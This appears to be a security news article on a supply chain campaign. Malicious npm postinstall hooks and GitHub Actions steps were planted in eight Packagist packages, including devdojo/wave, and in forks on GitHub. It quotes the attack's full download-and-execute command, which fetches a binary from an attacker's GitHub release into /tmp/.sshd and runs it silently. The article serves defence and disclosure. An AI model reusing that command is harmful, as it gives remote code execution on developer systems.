A sophisticated, coordinated supply chain campaign targeting PHP and JavaScript developers simultaneously. This cross-ecosystem attack infected eight Packagist packages and left traces across more than 700 public GitHub repositories, all tied to a single attacker-controlled account.
The campaign, discovered by Socket’s AI-powered scanner, exploited a blind spot in how development teams review PHP dependencies.
While all eight affected packages were Composer packages distributed through Packagist, the malicious code was not inserted into composer.json it was hidden inside package.json lifecycle hooks.
This deliberate placement targeted repositories that bundle JavaScript build tooling alongside PHP code, betting that security teams reviewing PHP dependencies would focus on Composer metadata and overlook npm’s postinstall hooks running in the same project.
Packagist Packages Hacked
The eight confirmed affected packages include high-profile Laravel starter kits and developer tools:
| Package | Affected Version |
|---|---|
| moritz-sauer-13/silverstripe-cms-theme | dev-master |
| crosiersource/crosierlib-base | dev-master |
| devdojo/wave | dev-main |
| devdojo/genesis | dev-main |
| katanaui/katana | dev-main |
| elitedevsquad/sidecar-laravel | 3. x-dev |
| r2luna/brain | dev-main |
| baskarcm/tzi-chat-ui | dev-main |
Every infected package carried an identical postinstall script:
curl -skL https://github.com/parikhpreyash4/systemd-network-helper-aa5c751f/releases/latest/download/gvfsd-network \
-o /tmp/.sshd 2>/dev/null && chmod +x /tmp/.sshd && /tmp/.sshd &This single command packs several evasion and execution techniques into one line. It uses curl -k to turn off TLS certificate verification, bypassing man-in-the-middle protections entirely.
The downloaded binary is named gvfsd-network, mimicking a legitimate GNOME virtual filesystem daemon, but is saved locally as /tmp/.sshd, a hidden filename designed to blend in with system SSH daemon processes.
Error output is suppressed with 2>/dev/null, and the binary is launched silently in the background using &. The result is a remote code execution (RCE) payload that fires automatically at package installation, with no user interaction required.
Security researchers were unable to retrieve the second-stage binary because the GitHub-hosted payload was taken offline before analysis could be completed. However, the first-stage behaviour alone is sufficient to classify all eight packages as definitively malicious.
700+ GitHub Repositories Affected
The attack extended well beyond Packagist. A GitHub code search for the attacker-controlled account parikhpreyash4 returned hundreds of public results approximately 17 hours after initial detection, including numerous Node.js repositories.
The security team has not yet confirmed the exact split between distinct compromises, forks, and cached references. Still, the volume of results tied to the same attacker infrastructure signals a much broader campaign than the eight confirmed Packagist artifacts.
More critically, Socket’s follow-up review discovered the same payload embedded inside GitHub Actions workflow files, not just package.json.
In 448776129/UA2F (a fork of the legitimate Zxilly/UA2F repository) and 448776129/blog-1 (a fork of JS-banana/blog), the identical download command appeared as a workflow step named “Dependency Cache Sync,” a deceptive label designed to appear routine during CI/CD pipeline reviews.
This means the attacker deployed at least two execution vectors: npm lifecycle hooks for local installs and GitHub Actions steps for build pipeline execution, both of which reuse the same payload URL, drop path, and background execution pattern.
The infection chain began at the source repository level, not Packagist itself. The attacker made malicious commits directly to upstream GitHub repositories.
Because Packagist tracks development branches like dev-main, dev-master, and 3.x-dev in near real-time, those tainted repository states automatically propagated into Packagist package artifacts.
Several maintainers have since reverted the malicious commits, and Socket reported all affected packages to Packagist, which promptly removed them.
However, branch-tracking versions create a persistent remediation challenge. Packagist noted that deleted package entries could be restored on the next update unless the upstream repository itself was cleaned.
The two devdojo packages represent the greatest real-world exposure. devdojo/wave is a popular open-source Laravel SaaS starter kit with approximately 6,400 GitHub stars, while devdojo/genesis it has around 1,300 stars and 9,100 Packagist installs.
Starter kits are particularly dangerous targets because developers clone them directly as project roots, meaning npm install runs postinstall hooks immediately from the project directory, triggering the malicious script without any additional steps.
For the remaining six library packages, npm’s postinstall behavior somewhat limits risk: scripts fire only for packages declared in the root project’s dependencies, not for nested vendor libraries. That distinction focuses practical exposure on the starter-kit projects while making library-based infections less automatic.
Mitigation
Security teams and developers should take the following immediate actions:
- Audit
package.jsonfiles in all Packagist/Composer dependencies, especially those bundling JavaScript tooling, don’t assume PHP projects are npm-clean - Treat
dev-mainanddev-masterdependencies as mutable and high-risk; pin Composer dependencies to immutable release tags rather than branch-tracking versions - Review GitHub Actions workflow files for unexpected steps, particularly those with generic names like “Cache Sync” or “Dependency Setup” that invoke
curlwith remote URLs - Block post-install hooks that download external binaries using tools like Socket, npm audit, or policy enforcement in your CI/CD pipeline
- Check for
/tmp/.sshdor unexpected hidden files in/tmp/on any system where affected packages were installed
FAQ
Q1: What is a post-install hook supply chain attack?
A post-install hook supply chain attack embeds malicious commands inside package.json scripts that execute automatically when a developer runs npm install, enabling remote code execution without any additional user action.
Q2: How did Socket detect the malicious Packagist packages?
Socket’s AI scanner identified the campaign by flagging eight unrelated packages that all exhibited identical install-time behavior: the same lifecycle hook, payload URL, drop path, and background execution pattern, indicating coordinated attacker infrastructure.
Q3: Are devdojo/wave and devdojo/genesis safe to use now?
Both repositories have had the malicious commits reverted and the Packagist entries removed; however, developers who installed affected dev-main versions during the compromise window should immediately inspect their environments for /tmp/.sshd and rotate any credentials exposed on affected systems.
Q4: How can developers protect against cross-ecosystem supply chain attacks?
Developers should audit both composer.json and package.json in all dependencies, pin to immutable versioned releases instead of branch-tracking dev versions, and use automated supply chain security tools like Socket to detect suspicious install-time scripts before they execute.
Site: thecybrdef.com
For more insights and updates, follow us on Google News, Twitter, and LinkedIn.
About the Author
